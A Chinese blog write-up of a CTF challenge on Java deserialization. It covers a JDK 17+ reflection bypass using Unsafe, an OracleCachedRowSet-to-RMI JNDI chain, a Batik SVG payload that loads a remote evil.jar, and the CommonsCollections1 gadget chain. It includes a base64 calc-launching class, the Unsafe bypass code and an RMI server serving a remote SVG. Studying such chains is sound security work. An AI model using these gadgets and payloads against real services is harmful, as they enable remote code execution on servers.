Featured image of post Post_jdbcParty

Post_jdbcParty

比赛题目的复现

是01-05的一个比赛的题目。当时知道是用序列化,但没想起来反射这一个,所以没有做出来。假期休息了三个还是两个星期之后又回来研究这一个。

Pre

题目除了给了一个网站就是给了一个jar文件

大概猜到是使用java 反射和序列化相关。



jar 文件的处理

现阶段核心思想是,如何在jar文件上进行反射调用

  • 在jar上直接进行反射调用
  • 解析jar之后再进行反射调用

直接反射调用

按照之前学到的反射调用方法,直接通过路径调用

  • URL
  • classLoader
  • forName
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public class SevenRings {  
    public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, IllegalArgumentException, InvocationTargetException, NoSuchMethodException, SecurityException, NoSuchFieldException, MalformedURLException {  
  
        // 使用 file:// 协议来指定本地文件路径  
        URL[] classloaderUrls = new URL[] {new URL("file:///D:/JavaOut_File/workshit/liveawayfromme/src/lib/jdbcc.jar")};  
        URLClassLoader urlClassLoader = new URLClassLoader(classloaderUrls);  
  
        // 通过反射加载 User 类  
        Class<?> clazz = Class.forName("com.example.jdbcparty.model.User", true, urlClassLoader);  
  
        // 创建实例  
        Object user01 = clazz.getDeclaredConstructor().newInstance();  
  
        // 修改字段值  
        Field namField = clazz.getDeclaredField("username");  
        namField.setAccessible(true);  
        namField.set(user01, "sue");  
        System.out.println("Updated username: " + namField.get(user01));  
  
        Field pswField = clazz.getDeclaredField("password");  
        pswField.setAccessible(true);  
        pswField.set(user01, "1234");  
        System.out.println("Updated password: " + pswField.get(user01));  
    }  
}

结果就是,在第一步就卡住:“ClassNotFound”。后面的是否调用就没有必要说了。

根据记忆,在此失败结果基础上,还进行过的努力:

  • 通过IDEA Intellj 导入jar
  • 把jar放到lib目录下试图调用
  • 修改JDK版本

毫无效果。


导入lib中的jar

贴一个试图导入lib中的jar的代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
public class Main {  
    public static void main(String[] args) throws Exception {  
        // 1. 获取主 JAR 文件路径  
        File jarFile = new File("D:\\JavaOut_File\\workshit\\liveawayfromme\\src\\lib\\jdbcc.jar");  
  
        // 2. 创建 URLClassLoader 加载 JAR 文件  
        List<URL> urls = new ArrayList<>();  
  
        // 加载主 JAR 文件  
        urls.add(jarFile.toURI().toURL());  
  
        // 3. 加载 BOOT-INF/lib/ 目录下的所有 JAR 文件  
        File libDir = new File(jarFile.getParent(), "BOOT-INF/lib");  
        if (libDir.exists() && libDir.isDirectory()) {  
            File[] libFiles = libDir.listFiles((dir, name) -> name.endsWith(".jar"));  
            for (File lib : libFiles) {  
                urls.add(lib.toURI().toURL());  
            }  
        }  
  
        // 创建 URLClassLoader  
        URLClassLoader classLoader = new URLClassLoader(urls.toArray(new URL[0]));  
  
        // 4. 读取 JAR 文件中的类  
        JarFile jar = new JarFile(jarFile);  
        jar.stream()  
           .filter(entry -> entry.getName().endsWith(".class") && !entry.getName().contains("META-INF"))  
           .forEach(entry -> {  
               String className = entry.getName().replace("/", ".").substring(0, entry.getName().length() - 6);  
               System.out.println("Class: " + className);  
  
               try {  
                   // 使用 URLClassLoader 加载类  
                   Class<?> clazz = classLoader.loadClass(className);  
  
                   // 实例化类并调用方法  
                   Object instance = clazz.getDeclaredConstructor().newInstance();  
                   for (var method : clazz.getMethods()) {  
                       System.out.println("Method name: " + method.getName());  
                       if (method.getParameterCount() == 0 && method.getReturnType() != void.class) {  
                           Object result = method.invoke(instance);  
                           System.out.println("Result of " + method.getName() + ": " + result);  
                       }  
                   }  
               } catch (Exception e) {  
                   e.printStackTrace();  
               }  
           });  
  
        // 关闭 JAR 文件  
        jar.close();  
        classLoader.close();  
    }  
}

怀疑是不是压根就不能在jar上进行反射调用——网页搜索结果不靠谱还是AI更不靠谱?还是代码哪里写错了?



解析JAR之后反射调用

  • 解析jar
  • 反射调用

jar解析

  • 创建jar文件 jar cf <jar-file-name> <files>
    • c:创建新的 JAR 文件。
    • f:指定 JAR 文件的文件名。
    • <jar-file>:生成的 JAR 文件的名字。
    • <files>:需要打包到 JAR 文件中的文件或目录。
  • 查看jar内容 jar tf myjar.jar
  • 提取jar文件 jar xf <jar-file>
    • 提取指定文件 jar xf <jar-file> <target-class>
  • 更新jar文件 jar uf <jar-file><files>
  • 签名jar文件 jar cmf <manifest-file> <jar-file> <files>
    • m:指定一个清单文件(manifest)。
    • <manifest-file>:包含元数据的清单文件。
    • <jar-file>:生成的 JAR 文件。
    • <files>:需要打包的文件。
  • 验证jar 文件 jar vf <jar-file>

在有了上述的前置知识之后,对jar进行解析

解析

1
2
3
4
//输出所有jar内容  
jar -tf .\JDBCParty-0.0.1-SNAPSHOT.jar  
//解析指定的文件  
jar -xf .\JDBCParty-0.0.1-SNAPSHOT.jar BOOT-INF/classes/com/example/jdbcparty/model/User.class

部分解析效果如下: image.png

被我选中单独进行解析的类文件是 User.class,在后面的构造序列化数据中有重要作用


将类文件解析出来之后,就进行下一步的反射调用


反射调用

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public class ReloadAgain {  
    public static void main(String[] args) throws Exception, IllegalAccessException, IllegalArgumentException, InvocationTargetException, NoSuchMethodException, SecurityException  {  
        //解析后的存放路径  
        File classDir = new File("D:\\JavaOut_File\\BOOT-INF\\classes");  
  
        URL[] urls = new URL[] {classDir.toURI().toURL()};  
        URLClassLoader classLoader = new URLClassLoader(urls);  
  
        //需要反射调用的类全称  
        Class<?> class1 = classLoader.loadClass("com.example.jdbcparty.model.User");  
        System.out.println(class1);  
  
        //根据类构造函数来构造constructor  
        Constructor<?> constructor = class1.getConstructor(String.class, String.class);  
        //实例创建  
        Object user01 = constructor.newInstance("1234", "Wonie");  
  
        //获取方法并使用invoke执行  
        Method getUserNameMethod = class1.getMethod("getUsername");  
        String username = (String) getUserNameMethod.invoke(user01);  
        System.out.println("Username: " + username);  
  
        Method setUserNameMethod = class1.getMethod("setUserName", String.class);  
        setUserNameMethod.invoke(user01, "Wonie Ruby");  
    }  
}

这个代码就终于运行成功,达到了预期的效果

目前完成了反射的部分,还剩下序列化的部分,这里需要依照原jar代码文件中的序列化部分代码来进行编写——aka直接照搬。



序列化处理

  • 源代码中关于这部分的代码的分析
  • 如何利用

分析一下

源代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
public static String serialize(Object obj) throws Exception {
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream);
        oos.writeObject(obj);
        String payload = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
        return payload;
    }

    public static Object deserialize(String payload) throws Exception {
        byte[] data = Base64.getDecoder().decode(payload);
        return (new ObjectInputStream(new ByteArrayInputStream(data))).readObject();
    }

没有什么过滤。 由于也没有题目中的Oracle数据库的详细内容,所以后面就无法推进了。



重新分析

又过去几个星期,搜索了一下,有writeup了,

哦呵呵完全不一样。

JDK 17+的限制

JDK 17 开始对java使用Strong Encapsulation,任何对java.*代码中的非public 变量+方法 进行反射会抛出 异常


参考

编写一个代码进行测试

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
public class twoHands {  
    public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {  
  
        String evilClassBase64 = "yv66vgAAADQAIwoACQATCgAUABUIABYKABQAFwcAGAcAGQoABgAaBwAbBwAcAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACDxjbGluaXQ+AQANU3RhY2tNYXBUYWJsZQcAGAEAClNvdXJjZUZpbGUBAAlFdmlsLmphdmEMAAoACwcAHQwAHgAfAQAEY2FsYwwAIAAhAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uDAAKACIBAARFdmlsAQAQamF2YS9sYW5nL09iamVjdAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYAIQAIAAkAAAAAAAIAAQAKAAsAAQAMAAAAHQABAAEAAAAFKrcAAbEAAAABAA0AAAAGAAEAAAADAAgADgALAAEADAAAAFQAAwABAAAAF7gAAhIDtgAEV6cADUu7AAZZKrcAB7+xAAEAAAAJAAwABQACAA0AAAAWAAUAAAAGAAkACQAMAAcADQAIABYACgAPAAAABwACTAcAEAkAAQARAAAAAgAS";  
        byte[] bytes = Base64.getDecoder().decode(evilClassBase64);  
        Method method = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);  
        method.setAccessible(true);  
        ((Class)method.invoke(ClassLoader.getSystemClassLoader(), "Evil", bytes, 0, bytes.length)).newInstance();  
  
    }  
}

得到报错如下:

1
2
3
4
5
6
7
Exception in thread "main" java.lang.reflect.InaccessibleObjectException: Unable to make protected final java.lang.Class java.lang.ClassLoader.defineClass(java.lang.String,byte[],int,int) throws java.lang.ClassFormatError accessible: module java.base does not "opens java.lang" to unnamed module @2e0fa5d3
	at java.base/java.lang.reflect.AccessibleObject.throwInaccessibleObjectException(AccessibleObject.java:388)
	at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:364)
	at java.base/java.lang.reflect.AccessibleObject.checkCanSetAccessible(AccessibleObject.java:312)
	at java.base/java.lang.reflect.Method.checkCanSetAccessible(Method.java:203)
	at java.base/java.lang.reflect.Method.setAccessible(Method.java:197)
	at drive.tina.hotbutwsu.twoHands.main(twoHands.java:14)

根据报错:

  1. 试图以反射的方式,去访问java.lang.ClassLoader中的defineClass方法,该方法是protected final类型
  2. 获得了java.lang.reflect.InaccessibleObjectException

限制的原因

在JDK 17+的版本中,上述拒绝了调用的类方法触发的方法是在method.setAccessible(true); 这一句

setAccessible()

1
2
3
4
5
6
7
@Override
@CallerSensitive
public void setAccessible(boolean flag) {
    AccessibleObject.checkPermission();
    if (flag) checkCanSetAccessible(Reflection.getCallerClass());
    setAccessible0(flag);
}

checkCanSetAccessible()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
private boolean checkCanSetAccessible(Class<?> caller,
                                      Class<?> declaringClass,
                                      boolean throwExceptionIfDenied) {
    if (caller == MethodHandle.class) {
        throw new IllegalCallerException();   // should not happen
    }

    Module callerModule = caller.getModule();
    Module declaringModule = declaringClass.getModule();

    if (callerModule == declaringModule) return true;
    if (callerModule == Object.class.getModule()) return true;
    if (!declaringModule.isNamed()) return true;

    String pn = declaringClass.getPackageName();
    int modifiers;
    if (this instanceof Executable) {
        modifiers = ((Executable) this).getModifiers();
    } else {
        modifiers = ((Field) this).getModifiers();
    }

    // class is public and package is exported to caller
    boolean isClassPublic = Modifier.isPublic(declaringClass.getModifiers());
    if (isClassPublic && declaringModule.isExported(pn, callerModule)) {
        // member is public
        if (Modifier.isPublic(modifiers)) {
            return true;
        }

        // member is protected-static
        if (Modifier.isProtected(modifiers)
            && Modifier.isStatic(modifiers)
            && isSubclassOf(caller, declaringClass)) {
            return true;
        }
    }

    // package is open to caller
    if (declaringModule.isOpen(pn, callerModule)) {
        return true;
    }

    if (throwExceptionIfDenied) {
        // not accessible
        String msg = "Unable to make ";
        if (this instanceof Field)
            msg += "field ";
        msg += this + " accessible: " + declaringModule + " does not \"";
        if (isClassPublic && Modifier.isPublic(modifiers))
            msg += "exports";
        else
            msg += "opens";
        msg += " " + pn + "\" to " + callerModule;
        InaccessibleObjectException e = new InaccessibleObjectException(msg);
        if (printStackTraceWhenAccessFails()) {
            e.printStackTrace(System.err);
        }
        throw e;
    }
    return false;
}            

这里在最后可以看到上面的报错信息生成处。 如果不是因为可能这样的地方存在很多,其实有个通用思路就是全局搜索关键语句定位——但是这个涉及到太底层的代码,这样的报错语句基本一致,所以断点调试是最佳方法。

获取到的信息

这里这段代码值得首先考虑:

1
2
3
4
5
6
    Module callerModule = caller.getModule();
    Module declaringModule = declaringClass.getModule();

    if (callerModule == declaringModule) return true;
    if (callerModule == Object.class.getModule()) return true;
    if (!declaringModule.isNamed()) return true;

三个条件任选一个满足就可以返回True,后续代码也不用执行。

  1. 调用者类(caller)所属模块(module)和被调用者(declaring)的同属一个
  2. callerModule是java.base模块的Object类的模块
  3. 被调用者的所属module是未命名模块——未命名模块(Unnamed Module)指的是类路径(classpath)中的类,而不是 module-path 上的类

根据参考中的解释,sun.miscsun.reflect处于反射白名单。

那我们可以尝试利用Unsafe来修改当前类的module属性和 java.* 下类的module属性一致来绕过


Unsafe

美团技术团队-Java魔法类 Unsafe

要点:

  1. Unsafesun.misc的一个类,提供执行低级别但可能不安全的操作方法
  2. 获取该类实例方法:
    1. getUnsafe
    2. 通过反射获取单例对象theUnsafe
  3. Unsafe类中有个 getAndSetObject 方法,其和反射赋值功能差不多,利用这个修改调用类的module——来自参考
1
2
3
4
@ForceInline
public final Object getAndSetObject(Object o, long offset, Object newValue) {
	return theInternalUnsafe.getAndSetReference(o, offset, newValue);
}

代码参考

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
// 反射调用
Class unsafeClass = Class.forName("sun.misc.Unsafe");
Field field = unsafeClass.getDeclaredField("theUnsafe");

//获得单例对象
field.setAccessible(true);
Unsafe unsafe = (Unsafe) field.get(null);

// Object类的module
Module baseModule = Object.class.getModule();

//将指定的类currentClass的module修改成和Object类module一致
Class currentClass = Main.class;
long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
unsafe.getAndSetObject(currentClass, addr, baseModule);

这样就能通过checkCanSetAccessible()的检查


上面的部分在于:

  • 如何进行反射
    • 如何绕开反射限制

那么后面就是如何触发,也可以是如何将恶意类送到它该去的地方。


番外——通过Unsafe修改String x

这个是在整理declaredField的时候忽然想到的,也确实写成功了。只是为了方便理解,一般好像没人这样无聊 ^^ 就是写完发现另一个问题,如果不使用这种方法,怎么修改String x的value?

先看原代码: AI写的,试图告诉我关于declaredField的作用 但如果仔细学了上面的内容就会知道,绝对是个错误的代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import java.lang.reflect.Field;  
  
public class Ys {    
    public static void main(String[] args) {  
    // 目标对象:x 的 Class 是 String        
        String x = "Act like Angle";  
  
        try {  
        // 1. 获取 x 的 Class 对象  
            Class<?> clazz = x.getClass();  
  
        // 2. 获取类中声明的字段(仅当前类,不包含父类)  
            // 参数是字段名,返回当前类的 Field 对象  
            Field declaredField = clazz.getDeclaredField("value");  
  
            // 3. 强制打破访问控制(允许访问私有字段)  
            declaredField.setAccessible(true);  
  
            // 4. 获取字段值  
            char[] value = (char[]) declaredField.get(x);  
  
            // 5. 输出原始字符串  
            System.out.println("Original String: " + x);  
  
            // 6. 修改字段值(需注意 char[] 是不可变的)  
            value[0] = 'a'; // 将首字母改为 'a'            declaredField.set(x, value); // 赋值  
  
            // 7. 输出修改后的字符串  
            System.out.println("Modified String: " + x);  
  
        } catch (NoSuchFieldException | IllegalAccessException e) {  
            e.printStackTrace();  
        }  
    }}

运行之后就有IllegalAccessException报错


使用unsafe

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
package drive.tina.hotbutwsu;  
  
import sun.misc.Unsafe;  
  
import java.lang.reflect.Field;  
  
public class Ys {  
  
    public static void main(String[] args) {  
	    // 目标对象:x 的 Class 是 String        
        String x = "Act like Angle";  
  
        try{  
		// 获取目标x的类以及字段(为了进一步得到得出laredField)
            Class<?> xx = x.getClass();  
            Field xField = xx.getDeclaredField("value");  

			// Unsafe 通行证
            Class unsafeClazz = Class.forName("sun.misc.Unsafe");  
            Field theUnsafe = unsafeClazz.getDeclaredField("theUnsafe");  
  
            theUnsafe.setAccessible(true);  
            Unsafe unsafe = (Unsafe) theUnsafe.get(null);  
  
            Module baseModule = Object.class.getModule();  
  
            Class currentClass = Ys.class;  
  
            long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));  
            unsafe.getAndSetObject(currentClass, addr, baseModule);  
  
            xField.setAccessible(true); 

			// 获取原内容
            byte[] data = (byte[]) xField.get(x);  
            System.out.println(data);  
            // 方便打印出来看得懂
            String result = new String(data);  
            System.out.println(result);  

			// 进行内容修改
            byte[] newContent = "New Content Here".getBytes();  
            System.arraycopy(newContent, 0, data, 0, Math.min(data.length, newContent.length));  
  
            // 输出修改后的内容  
            System.out.println("Modified string: \n" + x);  
            System.out.println("Done");  
  
  
        } catch (NoSuchFieldException | ClassNotFoundException e) {  
            e.printStackTrace();  
        } catch (IllegalAccessException e) {  
            throw new RuntimeException(e);  
        }  
    }}

//结果:
//[B@4d405ef7
//Act like Angle
//Modified string: 
//New Content He
//Done


书接上回

RMI

根据参考中的参考——j1rry-learn blog

找到的说法大概是,JDBC在连接的哪一个函数中禁止了JNDI和LADP。

不过没找到。

给出的poc里面,结合数据库是oracle数据库:

1
2
OracleCachedRowSet oracleCachedRowSet = new OracleCachedRowSet();
oracleCachedRowSet.setDataSourceName("rmi://localhost:1099/Object");

把数据源名称设置为RMI链接,在反序列化的时候触发RMI远程对象调用

另一个关键的是,toString()


toString()

很新奇,这样的一个函数居然也可以。

找了很多参考,看得原本就疼的头更疼了。

bmth’s blog

首先向我们走来的是toString()利用链之一的javax.swing.event.EventListenList#readObject中的add函数。

函数代码如下:

image.png

被断点标红的地方就是入口。 这里的toString体现在,类型为Class<T>的参数l或者t在被拼接到报错信息中的时候,可能触发toString

(actually,可能会有点不信,所以打算编写一个demo来验证。

demo如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
class Person {  
    private String name;  
  
    @Override  
    public String toString() {  
        return "Person: " + name;  
    }  
}  
  
Person p = new Person();  
System.out.println(p);  // 自动调用toString  
String s = "The person is " + p;  // 自动调用toString

在此基础上,检查writeObject的参数是否可控——可控才有机会把evildemobytes写进去交给readObject反序列化触发。

writeObject

image.png

对传入的Object 强制转换为EventListener进行检查:

  • 不为空
  • 属于Serializable 同时符合者进行writeObject操作

所以现在要去找一个类:

  • Serializable
  • toString
  • 可以转换为EventListener

上面的参考文章经过一番推理:javax.swing.undo.UndoManager#toString

具体的推理和寻找过程不算复杂就是比较费人。

UndoManager类的toString方法入手,从里面涉及到的变量深入,找到可以进行操作的变量(类型不固定、内容不固定、无检查、有检查但可以绕开……)

最主要的关键是涉及了java.lang.String#valueOf,代码如下:

1
2
3
public static String valueOf(Object obj) {
	return (obj == null) ? "null" : obj.toString();
}
  • 若 obj 为 null,直接返回 "null"
  • 否则,调用 obj 的 toString() 方法


POC

关于上面的东西如何使用。

OracleCachedRowSet

感觉java可以淹死人。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
```java
UnSafeTools.setObject(oracleCachedRowSet,oracleCachedRowSet.getClass().getSuperclass().getDeclaredField("monitorLock"),null);    
        Vector vector1 = new Vector();    
        vector1.add(0,"111");    
        Vector vector2 = new Vector();    
        vector2.add(0,"222");    
        String[] metaData= new String[]{"111","222"};    
    
        UnSafeTools.setObject(oracleCachedRowSet,oracleCachedRowSet.getClass().getSuperclass().getDeclaredField("matchColumnIndexes"),vector1);    
        UnSafeTools.setObject(oracleCachedRowSet,oracleCachedRowSet.getClass().getSuperclass().getDeclaredField("matchColumnNames"),vector2);    
        UnSafeTools.setObject(oracleCachedRowSet,oracleCachedRowSet.getClass().getDeclaredField("metaData"),metaData);    
        UnSafeTools.setObject(oracleCachedRowSet,oracleCachedRowSet.getClass().getDeclaredField("reader"),null);    
        UnSafeTools.setObject(oracleCachedRowSet,oracleCachedRowSet.getClass().getDeclaredField("writer"),null);    
        UnSafeTools.setObject(oracleCachedRowSet,oracleCachedRowSet.getClass().getDeclaredField("syncProvider"),null);    

对于这几行代码属实有点暂时不去深入研究了。 但大概可以看出来是为了绕开OracleCachedRowSet的一些限制:

  • 解除同步锁
  • 篡改数据匹配规则
  • 重写元数据定义
  • 禁用数据管道——构造不可逆的离线数据集

在那之后,把这个oracleCachedRowSet打包塞进POJONode中:

1
POJONode pojoNode = new POJONode(oracleCachedRowSet); 

似曾相识。或许大多数都是这样层层嵌套的吧。


just a note

1
2
3
4
5
public static void setFieldValue(Object obj, String field, Object val) throws Exception{  
    Field dField = obj.getClass().getDeclaredField(field);  
    dField.setAccessible(true);  
    dField.set(obj, val); # 将obj对象的dField值修改为val 
}


所以上述的poc部分(参考里面有完整版本)只是完成了让精心构造的对象在被反序列化的时候加载RMI触发RCE

那么放在RMI上与之绑定的RCE代码应该是什么?



RCE

svg files and java code execution

一篇2012的文章……

  • 使用batlk framework实现SVG转换PNG
  • SVG 1.1 和SVG Tiny 1.2 可以通过一些specifications去调用java代码,并且batlk支持

大概阅读完,

  • 编写包含类似Runtime.getRuntime().exec()方法的paylaod类
  • 在打包之前(if could)修改MANIFEST.MF中的一些内容,给予一些特殊的权限
  • 打包成jar
  • 在SVG file中编写<script type="application/java-archive" xlink:href="http://somewhere/evil.jar"/>导入jar

接着上面的内容,把存有导入恶意jar路径的svg文件与RMI绑定(参考中的):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
public class RMIServer {  
    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {  
        Registry registry = LocateRegistry.createRegistry( 1099);  
  
        ResourceRef ref = new ResourceRef("org.apache.batik.swing.JSVGCanvas", null, "", "",  
                true,"org.apache.naming.factory.BeanFactory",null);  
  
        ref.add(new StringRefAddr("forceString", "URI=test"));  
  
        ref.add(new StringRefAddr("URI", "http://127.0.0.1:7001/calc.svg"));  
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);  
        registry.bind("Object", referenceWrapper);  
    }  
  
}

那么,无论是作为RCE入口的RMI,还是作为触发RMI的调用链都完成。



到这里,唯一还不理解的就是,oracleCachedRowSet。 可能代码太多,有空我再看看。

这里面还有很多其他的参考链接都还需要看。


compare

对比一下其他的,比如CommonsCollections1


CC1 Overview

CC1使用的是Transformer链中链+HashMap

transformer

1
2
3
4
5
@Contract(pure = true)   
public InvokerTransformer(     
	String methodName,
    Class[] paramTypes,
    Object[] args )

一个例子:

1
2
3
4
5
new InvokerTransformer(
	"getMethod", 
	new Class[] {  String.class, Class[].class }, 
    new Object[] {  "getRuntime", new Class[0] }
)

通过这个链条将getMethodgetRuntimeinvokeexec四个方法写入Transformer[]中

接下类又用自定义过的LazyMap来将 HashMapTransformer[]绑定到一起:

1
2
3
4
5
6
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

// decorate方法
public static Map decorate(Map map, Transformer factory) {  
    return new LazyMap(map, factory);  
}

再接下来,引入CC1的序列化和反序列化中的重要的类public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";

源代码是

1
2
3
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);  
  
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

几个函数的补充代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
public static <T> T createMemoitizedProxy ( final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces ) throws Exception {  
    return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);  
}  
  
  
public static InvocationHandler createMemoizedInvocationHandler ( final Map<String, Object> map ) throws Exception {  
    return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);  
}  
  
  
public static <T> T createProxy ( final InvocationHandler ih, final Class<T> iface, final Class<?>... ifaces ) {  
    final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1);  
    allIfaces[ 0 ] = iface;  
    if ( ifaces.length > 0 ) {  
        System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);  
    }  
    return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih));  
}

过于抽象,通过举例说明:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
//demo


public class Say implements Perosn{  
    public void name(){  
        System.out.println("SAY");  
    }  
}

import java.lang.reflect.InvocationHandler;  
import java.lang.reflect.Method;  
  
public class SayInvocationHandler implements InvocationHandler {  
    private Perosn person;  
  
    public SayInvocationHandler(Perosn perosn) {  
        this.person = perosn;  
    }  
  
    @Override  
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {  
        System.out.println("SayInvocationHandler");  
        Object invoke = method.invoke(person, args);  
        System.out.println("SayInvocationHandler DONE");  
        return invoke;  
    }  
}

import java.lang.reflect.Proxy;  
  
public class TEst {  
    public static void main(String[] args) {  
        Say s = new Say();  
  
        SayInvocationHandler handler = new SayInvocationHandler(s);  
  
        Perosn p = (Perosn) Proxy.newProxyInstance(handler.getClass().getClassLoader(), s.getClass().getInterfaces(), handler);  
        p.name();  
    }  
}

// 结果
SayInvocationHandler
SAY
SayInvocationHandler DONE

整个demo所体现的最重要的一条:当调用接口的任何方法的时候,都会去调用handler的invoke方法。

所以结合源代码:

  1. 动态代理
    • lazyMap是一个包含执行代码链条的map
    • 包装成代理实例mapProxy,
  2. 调用触发其他调用

聚焦于Proxy.newProxyInstance方法,三个参数分别为

  • handler的getclass.getclassloader
  • 接口继承类的getclass.getinterfaces
  • handler

所以这里的理解:

Map作为接口, 获得的关于(ANN_INV_HANDLER_CLASS的InvocationHandler是handler

当Map的任何方法被调用的时候,包装了lazymap的InvocationHandler都会去调用自己的invoke方法


1
2
3
4
5
6
Gadget chain:
        ObjectInputStream.readObject()
            AnnotationInvocationHandler.readObject()
                Map(Proxy).entrySet()
                    AnnotationInvocationHandler.invoke()
                        LazyMap.get()

ANN_INV_HANDLER_CLASS也就是AnnotationInvocationHandler中的readObject方法会调用到Map的entrySet方法,

于是就会触发AnnotationInvocationHandler的invoke方法,也就是transformer[]中存入的那些。



END

对比下来,JDBCparty使用toString和RMI,被执行的代码并不复杂,复杂的是如何导入。并且是JDK高版本的内容,重点之一就是使用Unsafe获取访问java.*中private角色的权限。

cc1是比较接近底层的evil code,把Runtime.getRuntime.exec层层封起来,再通过Proxy的有趣特性来触发其中包含的invoke方法进而执行evil code,针对的是低版本JDK比如JDK 8以下



comments powered by Disqus
Built with Hugo
Theme Stack designed by Jimmy